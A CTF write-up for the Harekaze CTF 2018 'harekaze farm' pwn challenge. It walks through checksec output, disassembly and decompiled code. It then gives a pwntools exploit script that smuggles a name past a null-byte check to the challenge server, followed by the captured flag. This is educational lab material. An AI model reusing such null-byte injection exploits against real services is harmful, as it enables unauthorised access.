farm
Feb 10, 2018
harekaze farm - harekaze ctf 2018
In Harekaze Farm, some animas is living. Let’s find them!
file: harekaze_farm
(Pwn, 100 points)
this challenge was a less trivial buffer overflow than im used to seeing in ctf!
i started by checking the binary mitigations in place:
checksec harekaze_farm
[*] '/home/vagrant/harekaze/harekaze-farm/harekaze_farm'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
upon a quick look i could at the assembly i could tell that the goal was to have a favorite animal called ‘isoroku’:
|│ 0x00400abc 4805a0206000 add rax, obj.select_animals
|│ 0x00400ac2 bed20c4000 mov esi, str.isoroku
|│ 0x00400ac7 4889c7 mov rdi, rax
|│ 0x00400aca e801fcffff call sym.imp.strcmp
|│ 0x00400acf 85c0 test eax, eax
┌───< 0x00400ad1 757f jne 0x400b52
│|│ 0x00400ad3 bfe00c4000 mov edi, str.isoroku:__flag_is_here___flag_is_here_
│|│ 0x00400ad8 e893fbffff call sym.imp.puts
│|│ 0x00400add 488d95f0feff. lea rdx, [local_110h]
│|│ 0x00400ae4 b800000000 mov eax, 0
│|│ 0x00400ae9 b920000000 mov ecx, 0x20
│|│ 0x00400aee 4889d7 mov rdi, rdx
│|│ 0x00400af1 f348ab rep stosq qword [rdi], rax
│|│ 0x00400af4 be070d4000 mov esi, 0x400d07
│|│ 0x00400af9 bf090d4000 mov edi, str._home_harekaze_farm_flag
│|│ 0x00400afe e8ddfbffff call sym.imp.fopen
│|│ 0x00400b03 488985e8feff. mov qword [local_118h], rax
│|│ 0x00400b0a 4883bde8feff. cmp qword [local_118h], 0
┌────< 0x00400b12 7514 jne 0x400b28
││|│ 0x00400b14 bf220d4000 mov edi, str.ERROR:_FILE_OPEN_ERROR
││|│ 0x00400b19 e852fbffff call sym.imp.puts
││|│ 0x00400b1e bf01000000 mov edi, 1
││|│ 0x00400b23 e8c8fbffff call sym.imp.exit
└────> 0x00400b28 488b95e8feff. mov rdx, qword [local_118h]
│|│ 0x00400b2f 488d85f0feff. lea rax, [local_110h]
│|│ 0x00400b36 beff000000 mov esi, 0xff
│|│ 0x00400b3b 4889c7 mov rdi, rax
│|│ 0x00400b3e e87dfbffff call sym.imp.fgets
│|│ 0x00400b43 488d85f0feff. lea rax, [local_110h]
│|│ 0x00400b4a 4889c7 mov rdi, rax
│|│ 0x00400b4d e81efbffff call sym.imp.puts
however simply entering ‘isoroku’ does not work:
Welcome to Harekaze farm
Input a name of your favorite animal: sheep
Input a name of your favorite animal: goat
Input a name of your favorite animal: isoroku
Begin to parade!
sheep: "baa" "baa"
goat: "bleat" "bleat"
i wanted an easy way to see how this could be pwned and the assembly was too much to read so i ran the binary through hex rays decompiler:
puts("Welcome to Harekaze farm");
for ( i = 0; i <= 2; ++i )
{
*(_QWORD *)s1 = 0LL;
v17 = 0LL;
printf("Input a name of your favorite animal: ");
s1[__read_chk(0LL, s1, 16LL, 16LL) - 1] = 0;
if ( !strcmp(s1, "cow") )
{
v3 = (char *)&select_animals + 8 * i;
v4 = v17;
*(_QWORD *)v3 = *(_QWORD *)s1;
*((_QWORD *)v3 + 1) = v4;
}
if ( !strcmp(s1, "sheep") )
{
v5 = (char *)&select_animals + 8 * i;
v6 = v17;
*(_QWORD *)v5 = *(_QWORD *)s1;
*((_QWORD *)v5 + 1) = v6;
}
if ( !strcmp(s1, "goat") )
{
v7 = (char *)&select_animals + 8 * i;
v8 = v17;
*(_QWORD *)v7 = *(_QWORD *)s1;
*((_QWORD *)v7 + 1) = v8;
}
if ( !strcmp(s1, "hen") )
{
v9 = (char *)&select_animals + 8 * i;
v10 = v17;
*(_QWORD *)v9 = *(_QWORD *)s1;
*((_QWORD *)v9 + 1) = v10;
}
}
puts("Begin to parade!");
for ( j = 0; j <= 2; ++j )
{
if ( !strcmp((const char *)(8LL * j + 6299808), "cow") )
puts("cow: \"moo\" \"moo\"");
if ( !strcmp((const char *)(8LL * j + 6299808), "sheep") )
puts("sheep: \"baa\" \"baa\"");
if ( !strcmp((const char *)(8LL * j + 6299808), "goat") )
puts("goat: \"bleat\" \"bleat\"");
if ( !strcmp((const char *)(8LL * j + 6299808), "hen") )
puts("hen: \"cluck\" \"cluck\"");
if ( !strcmp((const char *)(8LL * j + 6299808), "isoroku") )
{
puts("isoroku: \"flag is here\" \"flag is here\"");
memset(s1, 0, 0x100uLL);
stream = fopen("/home/harekaze_farm/flag", "r");
if ( !stream )
{
puts("ERROR: FILE OPEN ERROR");
exit(1);
}
fgets(s1, 255, stream);
puts(s1);
}
}
result = 0;
v12 = *MK_FP(__FS__, 40LL) ^ v18;
return result;
}
so our input is taken in with the read system call (size 16) which i know can accept null bytes, strcpy will stop comparing on null bytes as well..
so with that i could write my exploit!
#!/usr/bin/python
from pwn import *
REMOTE = True
#DEBUG = True
DEBUG = False
host = 'problem.harekaze.com'
port = 20328
def getpipe():
if REMOTE:
return remote(host, port)
else:
return process('./harekaze_farm')
r = getpipe()
gdbscript = '''
b *0x00400aca
c
'''
if DEBUG:
gdb.attach(r, gdbscript)
r.recvuntil('al: ')
r.sendline('sheep\x00AAisoroku')
r.recvuntil('al: ')
r.sendline('burps')
r.recvuntil('al: ')
r.sendline('hen')
r.interactive()
r.close()
'''
[+] Opening connection to problem.harekaze.com on port 20328: Done
[+] Opening connection to problem.harekaze.com on port 20328: Done
[*] Switching to interactive mode
Begin to parade!
sheep: "baa" "baa"
isoroku: "flag is here" "flag is here"
HarekazeCTF{7h1s_i5_V3ry_B3ginning_BoF}
'''